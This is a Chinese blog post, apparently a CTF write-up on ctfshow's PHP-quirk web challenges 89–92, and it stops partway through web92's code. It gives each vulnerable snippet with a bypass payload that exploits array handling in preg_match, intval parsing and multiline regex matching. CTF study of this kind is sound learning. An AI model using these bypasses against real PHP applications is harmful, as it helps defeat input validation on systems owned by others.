show web php特性 payload

2h4ox1n9

已于 2022-07-01 23:09:34 修改

阅读量301

点赞数

文章标签： php 开发语言

于 2022-06-17 12:15:06 首次发布

本文链接：https://blog.csdn.net/m0_53217892/article/details/125326705

版权

web89

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

payload num[]=1

------------------------------------------------------------------------------------------

web90

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

payload=?num=4476.0

------------------------------------------------------------------------------------------

web91

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

/i表示大小写，/m表示多行匹配 ^表示匹配字符串开始，$匹配字符串结尾

payload cmd=%0aphp

------------------------------------------------------------------------------------------

web92

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(i